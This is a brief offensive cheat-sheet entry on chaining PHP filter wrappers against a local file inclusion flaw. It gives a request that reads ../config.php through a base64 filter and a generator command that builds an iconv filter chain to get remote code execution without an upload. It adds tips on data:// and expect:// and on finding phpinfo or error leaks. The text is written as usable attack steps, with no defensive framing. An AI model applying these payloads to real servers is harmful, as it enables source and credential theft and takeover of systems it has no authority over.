Chain PHP filter wrappers to read source and reach RCE
Start by reading source without execution using the base64 filter, which survives PHP tags.
http
GET /?page=php://filter/convert.base64-encode/resource=../config.php HTTP/1.1
When you control an include path but have no file to point at, the iconv filter chain can synthesize a payload in memory, giving RCE with no upload.
bash
# generate a filter chain that yields a PHP payload
python3 php_filter_chain_generator.py --chain ''
# -> php://filter/convert.iconv.UTF8.CSISO2022KR|...|resource=/etc/passwd
Pro note: the filter chain works even when the only controllable include target is a fixed harmless file, because the chain builds the bytes itself. If allow_url_include is on, data:// and expect:// are shorter paths; check phpinfo or error leaks first.